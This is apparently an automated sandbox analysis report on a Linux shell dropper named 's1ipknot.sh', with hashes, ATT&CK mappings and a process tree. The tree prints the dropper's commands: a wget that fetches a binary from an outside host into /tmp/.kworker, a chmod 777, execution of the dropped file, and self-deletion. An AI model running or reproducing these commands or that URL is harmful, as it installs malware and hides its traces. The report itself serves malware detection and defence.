b4ad4a20ca288d0b40392c1ca6f93143094d3b097a5da1803c2d0d89418700a9

Analysis

max time kernel
0s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260126-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/05/2026, 10:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
s1ipknot.sh
Size 2KB
Sample260511-mpk2jsay3q
SHA256 b4ad4a20ca288d0b40392c1ca6f93143094d3b097a5da1803c2d0d89418700a9
MD5 647dd8a994fc4c6486d5ff43f53bf03c
SHA1 019c1d71d58d76b3ff2ad8a727f254826b595f91
SHA512 5df44c4b317f1cd535cbd294cdacf9c5ea7bacffbd2c52000545b5f10a96efb45aa24f51df0c87420ea226ea357bda1c5d8f1011a8a4f939ff98f7459ae06779
TLSH
T17B41E0DBBC62B133978EC03E23AD6406A487992B457C1D38704D6C347F784A4F8796B9
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1531	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.kworker	1529	s1ipknot.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1521	s1ipknot.sh
1530	rm

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.kworker	wget
File opened for modification	/tmp/xxeurbmrod	.kworker

/tmp/s1ipknot.sh
/tmp/s1ipknot.sh
1⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:1521
- /bin/uname
  uname -m
  2⤵
  PID:1523
- /bin/rm
  rm -f /tmp/.kworker
  2⤵
  PID:1524
- /usr/bin/wget
  wget -q -O /tmp/.kworker http://data.913337.xyz/wp-content/upgrade/cache/kaf.x86
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/rm
  rm -f /tmp/s1ipknot.sh
  2⤵
  - System Network Configuration Discovery
  PID:1530
- /bin/chmod
  chmod 777 /tmp/.kworker
  2⤵
  - File and Directory Permissions Modification
  PID:1531

/tmp/.kworker
/tmp/.kworker
1⤵
- Writes file to tmp directory
PID:1529

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.kworker

Path /tmp/.kworker
Size 1.5MB
SHA256 56457b5fd8f83ea8d8e7d1600f2d39c155edc4a742255ac0e52e415ed9f3234c
MD5 4eee98baa190a36536765e65a902b579
SHA1 5f55b6c9ee0cf6f80aa047090e4f88535e929b9b
SHA512 041f18514a35cf9ebb5751e029d375f7e37e4731d5758d5ff7395726e61797d48476d0d985e0e476af0627d091f947ffad7398d8d8ac7d82a5ae11af90751657
SSDEEP 49152:QTkInhX/YEFtzUmV0j63X46PnJa2/u/NEifZ1mTm:MnhZXb51m/NpZ1
TLSH
T1FD756C5BB2A374BCC157C430879BDAB2AD35B4A902127D7B76C4D6302E26E701B19F72
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download